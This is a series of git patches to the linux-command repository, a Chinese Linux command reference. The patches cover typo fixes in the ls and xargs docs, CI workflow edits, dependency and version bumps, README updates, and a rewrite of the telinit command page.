00:00:00 2001 From: =?UTF-8?q?=E8=BF=9C=E6=96=B9?= Date: Thu, 24 Feb 2022 00:37:15 +0800 Subject: [PATCH 0419/1019] =?UTF-8?q?=E6=9B=B4=E6=AD=A3=20`ls`=20=E4=B8=AD?= =?UTF-8?q?=E9=94=99=E5=88=AB=E5=AD=97=20`=E5=BD=B1=E8=97=8F`=20=E4=B8=BA?= =?UTF-8?q?=20`=E9=9A=90=E8=97=8F`=20(#335)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/ls.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/ls.md b/command/ls.md index e55bb4ab878..cf09d587b1a 100644 --- a/command/ls.md +++ b/command/ls.md @@ -186,7 +186,7 @@ $ ls --human-readable --size -1 -S --classify # 按文件大小排序 $ du -sh * | sort -h # 按文件大小排序(同上) ``` -显示当前目录下包括影藏文件在内的所有文件列表 +显示当前目录下包括隐藏文件在内的所有文件列表 ```shell [root@localhost ~]# ls -a From c816a0a2eb5f3f9348f48c0ffb5ad21c81b9c127 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Thu, 24 Feb 2022 23:10:34 +0800 Subject: [PATCH 0420/1019] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 39f42cac71d..ed99420f2e1 100644 --- a/README.md +++ b/README.md @@ -6,6 +6,7 @@

[![Web](https://jaywcjlove.github.io/sb/ico/linux.svg)](https://jaywcjlove.github.io/linux-command/) [![weibo](https://jaywcjlove.github.io/sb/ico/weibo.svg)](http://weibo.com/pc175) [![Get this with npm](https://jaywcjlove.github.io/sb/ico/npm.svg)](https://www.npmjs.com/package/linux-command) [![NPM Download](https://img.shields.io/npm/dm/linux-command.svg?style=flat)](https://www.npmjs.com/package/linux-command) +[![jsdelivr cdn](https://data.jsdelivr.com/v1/package/npm/linux-command/badge)](https://www.jsdelivr.com/package/npm/linux-command) 当前仓库搜集了 570 多个 Linux 命令，是一个非盈利性的仓库，生成了一个 web 网站方便使用，目前网站没有任何广告，内容包含 Linux 命令手册、详解、学习，内容来自网络和网友的补充，非常值得收藏的 Linux 命令速查手册。版权归属原作者，对任何法律问题及风险不承担任何责任，没有任何商业目的，如果认为侵犯了您的版权，请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时，代表您已接受了本站的使用条款和隐私条款。 @@ -266,4 +267,4 @@ Made with [github-action-contributors](https://github.com/jaywcjlove/github-acti ## License -Licensed under the MIT License. \ No newline at end of file +Licensed under the MIT License. From 3572d9f2c553ad4ee3601bb3c575e92934be9bee Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 3 Mar 2022 19:13:38 +0800 Subject: [PATCH 0421/1019] chore: update workflows config. --- .github/workflows/ci.yml | 50 ++++++++++++++++++++++------------------ 1 file changed, 28 insertions(+), 22 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index a46ff895af3..b6c4b8c673d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -13,44 +13,43 @@ jobs: with: node-version: 14 - - name: Generate Changelog - id: changelog - uses: jaywcjlove/changelog-generator@v1.4.8 - with: - token: ${{ secrets.GITHUB_TOKEN }} - filter-author: (小弟调调™|Renovate Bot) - filter: (^[\s]+?[R|r]elease)|(^[R|r]elease) + - run: npm install + - run: npm run build + - run: npm run dash + - run: rm -rf .deploy/linux-command.docset - name: Generate Contributors Images uses: jaywcjlove/github-action-contributors@main with: filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) - output: CONTRIBUTORS.svg + output: .deploy/CONTRIBUTORS.svg avatarSize: 42 - - run: npm install - - run: npm run build - - run: npm run dash - - run: rm -rf .deploy/linux-command.docset - - run: cp -rp CONTRIBUTORS.svg .deploy/ + - name: Create Tag + id: create_tag + uses: jaywcjlove/create-tag-action@v1.3.6 + with: + package-path: ./package.json - - run: npm install @jsdevtools/npm-publish -g - - run: npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json + - name: get tag version + id: tag_version + uses: jaywcjlove/changelog-generator@v1.5.0 - name: Deploy uses: peaceiris/actions-gh-pages@v3 with: + commit_message: '[${{steps.tag_version.outputs.tag}}] ${{ github.event.head_commit.message }}' github_token: ${{ secrets.GITHUB_TOKEN }} publish_dir: ./.deploy user_name: github-actions[bot] user_email: github-actions[bot]@users.noreply.github.com - - - name: Create Tag - id: create_tag - uses: jaywcjlove/create-tag-action@v1.3.5 + + - name: Generate Changelog + id: changelog + uses: jaywcjlove/changelog-generator@v1.5.0 with: - token: ${{ secrets.GITHUB_TOKEN }} - package-path: ./package.json + filter-author: (小弟调调™) + filter: (^[\s]+?[R|r]elease)|(^[R|r]elease) - name: Create Release uses: ncipollo/release-action@v1 @@ -68,4 +67,11 @@ jobs: ${{ steps.changelog.outputs.compareurl }} - ${{ steps.changelog.outputs.changelog }} \ No newline at end of file + ${{ steps.changelog.outputs.changelog }} + + + Document uiw@${{ steps.changelog.outputs.tag }}: + https://raw.githack.com/jaywcjlove/linux-command/${{ steps.changelog.outputs.gh-pages-short-hash }}/index.html + + - run: npm install @jsdevtools/npm-publish -g + - run: npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json \ No newline at end of file From 81d58b3c4046b224c2490b196641cf8e53672bf1 Mon Sep 17 00:00:00 2001 From: noodles2hg <57032282+z-anshun@users.noreply.github.com> Date: Fri, 4 Mar 2022 00:30:02 +0800 Subject: [PATCH 0422/1019] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=20ls=20=E5=91=BD?= =?UTF-8?q?=E4=BB=A4=E9=94=99=E8=AF=AF=E7=A4=BA=E4=BE=8B=20(#337)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 应该为`ls *.jpg | xargs -n1 -I{} cp {} /data/images` --- command/xargs.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/xargs.md b/command/xargs.md index e511cf51891..9f5a2357f61 100644 --- a/command/xargs.md +++ b/command/xargs.md @@ -102,7 +102,7 @@ cat arg.txt | xargs -I {} ./sk.sh -p {} -l 复制所有图片文件到 /data/images 目录下： ```shell -ls *.jpg | xargs -n1 -I cp {} /data/images +ls *.jpg | xargs -n1 -I{} cp {} /data/images ``` #### 结合 find 命令使用 From 34e17422a275d669b2e21b8d4d7bb9082ffa6652 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 5 Mar 2022 23:47:48 +0800 Subject: [PATCH 0423/1019] chore: update workflows config --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index b6c4b8c673d..015bf8c024b 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -70,7 +70,7 @@ jobs: ${{ steps.changelog.outputs.changelog }} - Document uiw@${{ steps.changelog.outputs.tag }}: + Document linux-command@${{ steps.changelog.outputs.tag }}: https://raw.githack.com/jaywcjlove/linux-command/${{ steps.changelog.outputs.gh-pages-short-hash }}/index.html - run: npm install @jsdevtools/npm-publish -g From a5b5344b43532af5feedcd652b318b8b0b3e3456 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 5 Mar 2022 23:48:02 +0800 Subject: [PATCH 0424/1019] released v1.8.3 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 400c37592e7..b2bf39deba5 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.8.2", + "version": "1.8.3", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From a775db6dd0eb36c53bdd5afe0873e1b559dfd8ef Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 5 Mar 2022 23:53:51 +0800 Subject: [PATCH 0425/1019] chore: update devDependencies. --- package.json | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/package.json b/package.json index b2bf39deba5..6471d2fce2b 100644 --- a/package.json +++ b/package.json @@ -25,15 +25,15 @@ "url": "git+https://github.com/jaywcjlove/linux-command.git" }, "devDependencies": { - "archiver": "5.3.0", - "colors-cli": "1.0.28", - "ejs": "3.1.6", - "fs-extra": "10.0.0", - "markdown-to-html-cli": "3.2.5", - "sitemap-generator": "8.5.1", - "sqlite3": "5.0.2", - "stylus": "0.55.0", - "uglify-js": "3.14.4" + "archiver": "~5.3.0", + "colors-cli": "~1.0.28", + "ejs": "~3.1.6", + "fs-extra": "~10.0.1", + "markdown-to-html-cli": "~3.2.5", + "sitemap-generator": "~8.5.1", + "sqlite3": "~5.0.2", + "stylus": "~0.56.0", + "uglify-js": "~3.15.2" }, "engines": { "node": "^12.20.0 || ^14.13.1 || >=16.0.0" From 754727a96159a371e9444f74e831892b70276d2f Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 5 Mar 2022 23:55:03 +0800 Subject: [PATCH 0426/1019] chore: update renovate.json --- renovate.json | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/renovate.json b/renovate.json index f45d8f110c3..5fe6b173781 100644 --- a/renovate.json +++ b/renovate.json @@ -1,5 +1,11 @@ { "extends": [ "config:base" + ], + "packageRules": [ + { + "matchPackagePatterns": ["*"], + "rangeStrategy": "replace" + } ] } From 0dce51630b96c382a79227caa4128f64116d61ca Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 10 Mar 2022 11:34:03 +0800 Subject: [PATCH 0427/1019] chore: update workflow config. --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 015bf8c024b..c9fa6b6b6a9 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -1,4 +1,4 @@ -name: GitHub Actions Build and Deploy linux-command +name: CI on: push: branches: From 777dc5b18ff19a01f9a8ba055993b3e82c76d1bb Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 10 Mar 2022 11:34:45 +0800 Subject: [PATCH 0428/1019] chore: Update README.md (#341) --- README.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index ed99420f2e1..e1ad1a9e812 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,11 @@

Linux Command

-[![Web](https://jaywcjlove.github.io/sb/ico/linux.svg)](https://jaywcjlove.github.io/linux-command/) [![weibo](https://jaywcjlove.github.io/sb/ico/weibo.svg)](http://weibo.com/pc175) [![Get this with npm](https://jaywcjlove.github.io/sb/ico/npm.svg)](https://www.npmjs.com/package/linux-command) [![NPM Download](https://img.shields.io/npm/dm/linux-command.svg?style=flat)](https://www.npmjs.com/package/linux-command) +[![CI](https://github.com/jaywcjlove/linux-command/actions/workflows/ci.yml/badge.svg)](https://github.com/jaywcjlove/linux-command/actions/workflows/ci.yml) +[![Web](https://jaywcjlove.github.io/sb/ico/linux.svg)](https://jaywcjlove.github.io/linux-command/) +[![weibo](https://jaywcjlove.github.io/sb/ico/weibo.svg)](http://weibo.com/pc175) +[![Get this with npm](https://jaywcjlove.github.io/sb/ico/npm.svg)](https://www.npmjs.com/package/linux-command) +[![NPM Download](https://img.shields.io/npm/dm/linux-command.svg?style=flat)](https://www.npmjs.com/package/linux-command) [![jsdelivr cdn](https://data.jsdelivr.com/v1/package/npm/linux-command/badge)](https://www.jsdelivr.com/package/npm/linux-command) 当前仓库搜集了 570 多个 Linux 命令，是一个非盈利性的仓库，生成了一个 web 网站方便使用，目前网站没有任何广告，内容包含 Linux 命令手册、详解、学习，内容来自网络和网友的补充，非常值得收藏的 Linux 命令速查手册。版权归属原作者，对任何法律问题及风险不承担任何责任，没有任何商业目的，如果认为侵犯了您的版权，请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时，代表您已接受了本站的使用条款和隐私条款。 @@ -30,7 +34,7 @@ ⚠️ 你们拿过去部署的静态网站，还是希望挂个 GitHub 地址，这样大家共同维护命令文档，让文档更加完善，更加丰富，当然你删除本站所有信息相关信息，其实我也不太在意，默认允许你们随意搞，我不负任何负责。如果您也部署了一份，可以将网址放到下面 :)。 -[`linux.devonline.net`](http://linux.devonline.net/)，[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`bqrdh.com`](https://tools.bqrdh.com/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/) +[`linux.devonline.net`](http://linux.devonline.net/)，[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`bqrdh.com`](https://tools.bqrdh.com/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`linux.mmoke.com`](https://linux.mmoke.com) ### 微信小程序版本 From 432b3abb4fa3e04fefa018afc5b87958fda8d21c Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 10 Mar 2022 11:39:30 +0800 Subject: [PATCH 0429/1019] =?UTF-8?q?chore:=20=E5=88=A0=E9=99=A4=E7=99=BE?= =?UTF-8?q?=E5=BA=A6=E7=BB=9F=E8=AE=A1=20(#341)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- template/partial/footer.ejs | 2 -- 1 file changed, 2 deletions(-) diff --git a/template/partial/footer.ejs b/template/partial/footer.ejs index 8297e0a5f05..a8359a9ba4a 100644 --- a/template/partial/footer.ejs +++ b/template/partial/footer.ejs @@ -1,5 +1,3 @@ - From b7095693ac9f534621276741f6150d5a0d81df98 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 10 Mar 2022 11:44:04 +0800 Subject: [PATCH 0430/1019] chore: remove the cdn script (#341). --- template/details.ejs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/template/details.ejs b/template/details.ejs index 38f5febecd5..93101ab53d8 100644 --- a/template/details.ejs +++ b/template/details.ejs @@ -1,7 +1,9 @@ <%- include('partial/header'); %> <%- include('widget/search',{type: "list"}); %> - +
<% if(md_path){ %> diff --git a/template/js/copy-to-clipboard.js b/template/js/copy-to-clipboard.js new file mode 100644 index 00000000000..8647fc1c6c1 --- /dev/null +++ b/template/js/copy-to-clipboard.js @@ -0,0 +1,11 @@ +/*! @uiw/copy-to-clipboard v1.0.12 | MIT (c) 2021 Kenny Wang | https://github.com/uiwjs/copy-to-clipboard.git */ +!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).copyTextToClipboard=t()}(this,(function(){"use strict";return function(e,t){const o=document.createElement("textarea");o.value=e,o.setAttribute("readonly",""),o.style={position:"absolute",left:"-9999px"},document.body.appendChild(o);const n=document.getSelection().rangeCount>0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); + +function copied(target, str) { + target.classList.add('active'); + copyTextToClipboard(target.dataset.code, function() { + setTimeout(() => { + target.classList.remove('active'); + }, 2000); + }); +} \ No newline at end of file From 538bd511e7c027f573482803ba2942d97ec3a1b4 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 11 Mar 2022 23:24:47 +0800 Subject: [PATCH 0432/1019] doc: Update README.md (#338) --- README.md | 42 ++++++++++++++++++++++++++++++++++++++---- 1 file changed, 38 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index e1ad1a9e812..ce6891c130f 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@ 当前仓库搜集了 570 多个 Linux 命令，是一个非盈利性的仓库，生成了一个 web 网站方便使用，目前网站没有任何广告，内容包含 Linux 命令手册、详解、学习，内容来自网络和网友的补充，非常值得收藏的 Linux 命令速查手册。版权归属原作者，对任何法律问题及风险不承担任何责任，没有任何商业目的，如果认为侵犯了您的版权，请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时，代表您已接受了本站的使用条款和隐私条款。 -[Web](#web-版本) | [微信小程序](#微信小程序版本) | [Dash](#dash-版本) | [Alfred](#alfred-版本) | [KDE/Krunner](https://github.com/roachsinai/krunner-linuxcommands) | [Android](https://github.com/Ernest-su/LinuxCmd.git) | [Mac/Win/Linux](https://github.com/haloislet/linux-command) | [Chrome Plugin](#chrome-插件) | [命令行工具](#命令行工具) +[Web](#web-版本) | [微信小程序](#微信小程序版本) | [Dash](#dash-版本) | [Raycast](#raycast-版本) | [Alfred](#alfred-版本) | [KDE/Krunner](https://github.com/roachsinai/krunner-linuxcommands) | [Android](https://github.com/Ernest-su/LinuxCmd.git) | [Mac/Win/Linux](https://github.com/haloislet/linux-command) | [Chrome Plugin](#chrome-插件) | [命令行工具](#命令行工具) ### Web 版本 @@ -48,19 +48,53 @@ [![Chrome Web Store 下载](http://jaywcjlove.github.io/sb/download/chrome-web-store.svg)](https://chrome.google.com/webstore/detail/oscnews/iheapfheanfjcemgneblljhaebonakbg) -[![Chrome Web Store 下载](./assets/chrome-extensions.gif)](https://github.com/jaywcjlove/oscnews) +
+Chrome 插件截图 + +Chrome 插件截图 + +
+ +### Raycast 版本 + +[Raycast 版本安装](https://www.raycast.com/jaywcjlove/linux-command)， ([**#338**](https://github.com/jaywcjlove/linux-command/issues/338))下图是界面效果： + +
+Raycast 版本截图 + +Raycast 版本截图 + +Raycast 版本截图 + +Raycast 版本截图 + +Raycast 版本截图 + +
+ ### Alfred 版本 [Alfred 版本下载](https://github.com/jaywcjlove/linux-command/releases)， 下图是界面效果。 -[![Linux 命令大全](./assets/alfred.png)](https://github.com/jaywcjlove/linux-command/releases) +
+Alfred 版本截图 + +Alfred 版本截图 + +
### Dash 版本 由 [**@SHANG殇**](https://github.com/xinshangshangxin) 提供的 `Dash` 版本 [#91](https://github.com/jaywcjlove/linux-command/pull/91)，可配合 `alfred` 玩耍，下载 [linux-command.docset.zip](https://jaywcjlove.github.io/linux-command/linux-command.docset.zip) 文件解压，点击安装即可。 -[![](https://user-images.githubusercontent.com/8779091/57193499-5b475d00-6f6e-11e9-879d-e7e8fdc40ced.gif)](https://github.com/jaywcjlove/linux-command/releases) + +
+Dash 版本截图 + +Dash 版本截图 + +
### 命令行工具 From 1640e5d7480529e228cc9d7ffcc2fdeb53899cf5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Sat, 12 Mar 2022 12:10:32 +0800 Subject: [PATCH 0433/1019] Update and rename telint.md to telinit.md --- command/telinit.md | 50 ++++++++++++++++++++++++++++++++++++++++++++++ command/telint.md | 26 ------------------------ 2 files changed, 50 insertions(+), 26 deletions(-) create mode 100644 command/telinit.md delete mode 100644 command/telint.md diff --git a/command/telinit.md b/command/telinit.md new file mode 100644 index 00000000000..d158967531d --- /dev/null +++ b/command/telinit.md @@ -0,0 +1,50 @@ +telinit +=== + +切换当前正在运行系统的运行等级 + +## 补充说明 + +**telinit命令** 用于切换当前正在运行的Linux系统的运行等级。 + +_RUNLEVEL_ 参数应该是多用户运行级别 `2-5` 之一，`0` 用于停止系统，`6` 用于重新启动系统，或 `1` 用于使系统进入单用户模式。 + +通常您会使用 `shutdown(8)` 工具来停止或重新启动系统，或者将其降低到单用户模式。 + +_RUNLEVEL_ 也可能是 S 或 s ，这会将系统直接置于单用户模式，而无需先实际停止进程，您可能不希望这样。 + +通过发出 `runlevel(7)` 事件来更改运行级别，该事件包括 _RUNLEVEL_ 环境变量中的新运行级别以及 PREVLEVEL 变量中的先前运行级别（从环境或 `/var/run/utmp` 获得）。 + +**telinit** 会将新的运行级别写入 `/var/run/utmp` 并将新条目附加到 `/var/log/wtmp`。 + +### 语法 + +```shell +telint(选项)(参数) +telinit [OPTION]... RUNLEVEL +``` + +### 选项 + +```shell +-t：指定等待的秒数。 +-e 键=值 +``` + +这指定了与 _RUNLEVEL_ 和 _PREVLEVEL_ 一起包含在事件中的附加环境变量。 + +### 参数 + +运行等级：指定要切换的运行等级。 + +### Environment + +RUNLEVEL + +如果设置优先于从 `/var/run/utmp` 读取，`telinit` 将从该环境变量读取当前运行级别 + +### Files + +- `/var/run/utmp` 将从哪里读取当前运行级别； 此文件也将使用新的运行级别进行更新。 +- `/var/log/wtmp` 新的运行级别记录将附加到此文件中以获取新的运行级别。 + diff --git a/command/telint.md b/command/telint.md deleted file mode 100644 index c502a91f532..00000000000 --- a/command/telint.md +++ /dev/null @@ -1,26 +0,0 @@ -telint -=== - -切换当前正在运行系统的运行等级 - -## 补充说明 - -**telint命令** 用于切换当前正在运行的Linux系统的运行等级。 - -### 语法 - -```shell -telint(选项)(参数) -``` - -### 选项 - -```shell --t：指定等待的秒数。 -``` - -### 参数 - -运行等级：指定要切换的运行等级。 - - From b51523639026aa53ae1d00c72d633a8e22bf33c3 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 16 Mar 2022 02:25:38 +0800 Subject: [PATCH 0434/1019] chore: update build script. --- build/build.mjs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build/build.mjs b/build/build.mjs index 90045013bf6..5054e828115 100644 --- a/build/build.mjs +++ b/build/build.mjs @@ -12,7 +12,7 @@ const rootIndexJSPath = path.resolve(process.cwd(), 'template', 'js', 'index.js' const dataJsonPath = path.resolve(process.cwd(), 'dist', 'data.json'); const dataJsonMinPath = path.resolve(process.cwd(), 'dist', 'data.min.json'); const cssPath = path.resolve(deployDir, 'css', 'index.css'); -const contributorsPath = path.resolve(process.cwd(), 'CONTRIBUTORS.svg'); +const contributorsPath = path.resolve(deployDir, 'CONTRIBUTORS.svg'); ;(async () => { try { From 551306eca226605ed4f66cc8edc6c51ee1f8a325 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 16 Mar 2022 02:33:50 +0800 Subject: [PATCH 0435/1019] chore: update build script. --- build/build.mjs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build/build.mjs b/build/build.mjs index 5054e828115..90045013bf6 100644 --- a/build/build.mjs +++ b/build/build.mjs @@ -12,7 +12,7 @@ const rootIndexJSPath = path.resolve(process.cwd(), 'template', 'js', 'index.js' const dataJsonPath = path.resolve(process.cwd(), 'dist', 'data.json'); const dataJsonMinPath = path.resolve(process.cwd(), 'dist', 'data.min.json'); const cssPath = path.resolve(deployDir, 'css', 'index.css'); -const contributorsPath = path.resolve(deployDir, 'CONTRIBUTORS.svg'); +const contributorsPath = path.resolve(process.cwd(), 'CONTRIBUTORS.svg'); ;(async () => { try { From ad0a3c1a99548418d4c557431d107f71005958ba Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 16 Mar 2022 02:34:09 +0800 Subject: [PATCH 0436/1019] chore: update workflows config. --- .github/workflows/ci.yml | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index c9fa6b6b6a9..536d393beca 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -13,18 +13,18 @@ jobs: with: node-version: 14 - - run: npm install - - run: npm run build - - run: npm run dash - - run: rm -rf .deploy/linux-command.docset - - name: Generate Contributors Images uses: jaywcjlove/github-action-contributors@main with: filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) - output: .deploy/CONTRIBUTORS.svg avatarSize: 42 + - run: npm install + - run: npm run build + - run: npm run dash + - run: rm -rf .deploy/linux-command.docset + - run: cp CONTRIBUTORS.svg .deploy + - name: Create Tag id: create_tag uses: jaywcjlove/create-tag-action@v1.3.6 From 78c7b04208edf1e626bb6e3a703212e274918645 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 16 Mar 2022 02:34:54 +0800 Subject: [PATCH 0437/1019] released v1.9.0 --- dist/data.json | 6 +++--- dist/data.min.json | 2 +- package.json | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/dist/data.json b/dist/data.json index 78b8ec79223..ba5ccfcb019 100644 --- a/dist/data.json +++ b/dist/data.json @@ -2434,9 +2434,9 @@ "p": "/tee", "d": "从标准输入读取数据并重定向到标准输出和文件。" }, - "telint": { - "n": "telint", - "p": "/telint", + "telinit": { + "n": "telinit", + "p": "/telinit", "d": "切换当前正在运行系统的运行等级" }, "telnet": { diff --git a/dist/data.min.json b/dist/data.min.json index 845b5670ce2..694dc0edede 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n